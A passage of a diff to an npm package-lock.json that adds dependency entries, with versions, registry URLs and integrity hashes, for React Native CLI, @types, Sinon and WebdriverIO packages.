"^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-server-api": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-server-api/-/cli-server-api-10.1.1.tgz", + "integrity": "sha512-NZDo/wh4zlm8as31UEBno2bui8+ufzsZV+KN7QjEJWEM0levzBtxaD+4je0OpfhRIIkhaRm2gl/vVf7OYAzg4g==", + "peer": true, + "dependencies": { + "@react-native-community/cli-debugger-ui": "^10.0.0", + "@react-native-community/cli-tools": "^10.1.1", + "compression": "^1.7.1", + "connect": "^3.6.5", + "errorhandler": "^1.5.0", + "nocache": "^3.0.1", + "pretty-format": "^26.6.2", + "serve-static": "^1.13.1", + "ws": "^7.5.1" + } + }, + "node_modules/@react-native-community/cli-server-api/node_modules/ws": { + "version": "7.5.9", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "peer": true, + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/@react-native-community/cli-tools": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-tools/-/cli-tools-10.1.1.tgz", + "integrity": "sha512-+FlwOnZBV+ailEzXjcD8afY2ogFEBeHOw/8+XXzMgPaquU2Zly9B+8W089tnnohO3yfiQiZqkQlElP423MY74g==", + "peer": true, + "dependencies": { + "appdirsjs": "^1.2.4", + "chalk": "^4.1.2", + "find-up": "^5.0.0", + "mime": "^2.4.1", + "node-fetch": "^2.6.0", + "open": "^6.2.0", + "ora": "^5.4.1", + "semver": "^6.3.0", + "shell-quote": "^1.7.3" + } + }, + "node_modules/@react-native-community/cli-tools/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-tools/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-tools/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@react-native-community/cli-tools/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/@react-native-community/cli-tools/node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "peer": true, + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@react-native-community/cli-tools/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-tools/node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "peer": true, + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@react-native-community/cli-tools/node_modules/mime": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz", + "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==", + "peer": true, + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/@react-native-community/cli-tools/node_modules/node-fetch": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.9.tgz", + "integrity": "sha512-DJm/CJkZkRjKKj4Zi4BsKVZh3ValV5IR5s7LVZnW+6YMh0W1BfNA8XSs6DLMGYlId5F3KnA70uu2qepcR08Qqg==", + "peer": true, + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/@react-native-community/cli-tools/node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "peer": true, + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@react-native-community/cli-tools/node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "peer": true, + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@react-native-community/cli-tools/node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-tools/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@react-native-community/cli-tools/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-types": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-types/-/cli-types-10.0.0.tgz", + "integrity": "sha512-31oUM6/rFBZQfSmDQsT1DX/5fjqfxg7sf2u8kTPJK7rXVya5SRpAMaCXsPAG0omsmJxXt+J9HxUi3Ic+5Ux5Iw==", + "peer": true, + "dependencies": { + "joi": "^17.2.1" + } + }, + "node_modules/@react-native-community/cli/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@react-native-community/cli/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@react-native-community/cli/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@react-native-community/cli/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/@react-native-community/cli/node_modules/commander": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", + "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "peer": true, + "engines": { + "node": "^12.20.0 || >=14" + } + }, + "node_modules/@react-native-community/cli/node_modules/cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "dependencies": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "engines": { + "node": ">=4.8" + } + }, + "node_modules/@react-native-community/cli/node_modules/cross-spawn/node_modules/semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "peer": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/@react-native-community/cli/node_modules/execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "dependencies": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "peer": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli/node_modules/get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "peer": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "peer": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@react-native-community/cli/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "peer": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli/node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli/node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli/node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/@react-native-community/cli/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@react-native-community/cli/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native/assets": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@react-native/assets/-/assets-1.0.0.tgz", + "integrity": "sha512-KrwSpS1tKI70wuKl68DwJZYEvXktDHdZMG0k2AXD/rJVSlB23/X2CB2cutVR0HwNMJIal9HOUOBB2rVfa6UGtQ==", + "peer": true + }, + "node_modules/@react-native/normalize-color": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@react-native/normalize-color/-/normalize-color-2.1.0.tgz", + "integrity": "sha512-Z1jQI2NpdFJCVgpY+8Dq/Bt3d+YUi1928Q+/CZm/oh66fzM0RUl54vvuXlPJKybH4pdCZey1eDTPaLHkMPNgWA==", + "peer": true + }, + "node_modules/@react-native/polyfills": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@react-native/polyfills/-/polyfills-2.0.0.tgz", + "integrity": "sha512-K0aGNn1TjalKj+65D7ycc1//H9roAQ51GJVk5ZJQFb2teECGmzd86bYDC0aYdbRf7gtovescq4Zt6FR0tgXiHQ==", + "peer": true + }, + "node_modules/@sideway/address": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/@sideway/address/-/address-4.1.4.tgz", + "integrity": "sha512-7vwq+rOHVWjyXxVlR76Agnvhy8I9rpzjosTESvmhNeXOXdZZB15Fl+TI9x1SiHZH5Jv2wTGduSxFDIaq0m3DUw==", + "peer": true, + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@sideway/formula": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@sideway/formula/-/formula-3.0.1.tgz", + "integrity": "sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==", + "peer": true + }, + "node_modules/@sideway/pinpoint": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@sideway/pinpoint/-/pinpoint-2.0.0.tgz", + "integrity": "sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==", + "peer": true + }, + "node_modules/@sinclair/typebox": { + "version": "0.25.24", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.25.24.tgz", + "integrity": "sha512-XJfwUVUKDHF5ugKwIcxEgc9k8b7HbznCp6eUfWgu710hMPNIO4aw4/zB5RogDQz8nd6gyCDpU9O/m6qYEWY6yQ==", + "peer": true + }, + "node_modules/@sinonjs/commons": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-2.0.0.tgz", + "integrity": "sha512-uLa0j859mMrg2slwQYdO/AkrOfmH+X6LTVmNTS9CqexuE2IvVORIkSpJLqePAbEnKJ77aMmCwr1NUZ57120Xcg==", + "peer": true, + "dependencies": { + "type-detect": "4.0.8" + } + }, + "node_modules/@sinonjs/fake-timers": { + "version": "10.0.2", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.0.2.tgz", + "integrity": "sha512-SwUDyjWnah1AaNl7kxsa7cfLhlTYoiyhDAIgyh+El30YvXs/o7OLXpYH88Zdhyx9JExKrmHDJ+10bwIcY80Jmw==", + "peer": true, + "dependencies": { + "@sinonjs/commons": "^2.0.0" + } + }, + "node_modules/@types/caseless": { + "version": "0.12.2", + "resolved": "https://registry.npmjs.org/@types/caseless/-/caseless-0.12.2.tgz", + "integrity": "sha512-6ckxMjBBD8URvjB6J3NcnuAn5Pkl7t3TizAg+xdlzzQGSPSmBcXf8KoIH0ua/i+tio+ZRUHEXp0HEmvaR4kt0w==", + "dev": true + }, + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz", + "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==", + "peer": true + }, + "node_modules/@types/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", + "peer": true, + "dependencies": { + "@types/istanbul-lib-coverage": "*" + } + }, + "node_modules/@types/istanbul-reports": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz", + "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==", + "peer": true, + "dependencies": { + "@types/istanbul-lib-report": "*" + } + }, + "node_modules/@types/node": { + "version": "18.14.2", + "resolved": "https://registry.npmjs.org/@types/node/-/node-18.14.2.tgz", + "integrity": "sha512-1uEQxww3DaghA0RxqHx0O0ppVlo43pJhepY51OxuQIKHpjbnYLA7vcdwioNPzIqmC2u3I/dmylcqjlh0e7AyUA==" + }, + "node_modules/@types/request": { + "version": "2.48.8", + "resolved": "https://registry.npmjs.org/@types/request/-/request-2.48.8.tgz", + "integrity": "sha512-whjk1EDJPcAR2kYHRbFl/lKeeKYTi05A15K9bnLInCVroNDCtXce57xKdI0/rQaA3K+6q0eFyUBPmqfSndUZdQ==", + "dev": true, + "dependencies": { + "@types/caseless": "*", + "@types/node": "*", + "@types/tough-cookie": "*", + "form-data": "^2.5.0" + } + }, + "node_modules/@types/request/node_modules/form-data": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz", + "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==", + "dev": true, + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 0.12" + } + }, + "node_modules/@types/stack-utils": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.1.tgz", + "integrity": "sha512-Hl219/BT5fLAaz6NDkSuhzasy49dwQS/DSdu4MdggFB8zcXv7vflBI3xp7FEmkmdDkBUI2bPUNeMttp2knYdxw==", + "peer": true + }, + "node_modules/@types/tough-cookie": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.2.tgz", + "integrity": "sha512-Q5vtl1W5ue16D+nIaW8JWebSSraJVlK+EthKn7e7UcD4KWsaSJ8BqGPXNaPghgtcn/fhvrN17Tv8ksUsQpiplw==", + "dev": true + }, + "node_modules/@types/yargs": { + "version": "17.0.22", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.22.tgz", + "integrity": "sha512-pet5WJ9U8yPVRhkwuEIp5ktAeAqRZOq4UdAyWLWzxbtpyXnzbtLdKiXAjJzi/KLmPGS9wk86lUFWZFN6sISo4g==", + "peer": true, + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@types/yargs-parser": { + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.0.tgz", + "integrity": "sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA==", + "peer": true + }, + "node_modules/@wdio/config": { + "version": "5.22.4", + "resolved": "https://registry.npmjs.org/@wdio/config/-/config-5.22.4.tgz", + "integrity": "sha512-i5dJQWb80darcRA//tfG0guMeQCeRUXroZNnHjGNb1qzvTRZmcIIhdxaD+DbK/5dWEx6aoMfoi6wjVp/CXwdAg==", + "dev": true, + "dependencies": { + "@wdio/logger": "5.16.10", + "deepmerge": "^4.0.0", + "glob": "^7.1.2" + }, + "engines": { + "node": ">= 8.11.0" + } + }, + "node_modules/@wdio/config/node_modules/deepmerge": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.0.tgz", + "integrity": "sha512-z2wJZXrmeHdvYJp/Ux55wIjqo81G5Bp4c+oELTW+7ar6SogWHajt5a9gO3s3IDaGSAXjDk0vlQKN3rms8ab3og==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wdio/config/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@wdio/config/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/@wdio/logger": { + "version": "5.16.10", + "resolved": "https://registry.npmjs.org/@wdio/logger/-/logger-5.16.10.tgz", + "integrity": "sha512-hRKhxgd9uB48Dtj2xe2ckxU4KwI/RO8IwguySuaI2SLFj6EDbdonwzpVkq111/fjBuq7R1NauAaNcm3AMEbIFA==", + "dev": true, + "dependencies": { + "chalk": "^3.0.0", + "loglevel": "^1.6.0", + "loglevel-plugin-prefix": "^0.8.4", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">= 8.11.0" + } + }, + "node_modules/@wdio/logger/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@wdio/logger/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@wdio/logger/node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", + "integrity": 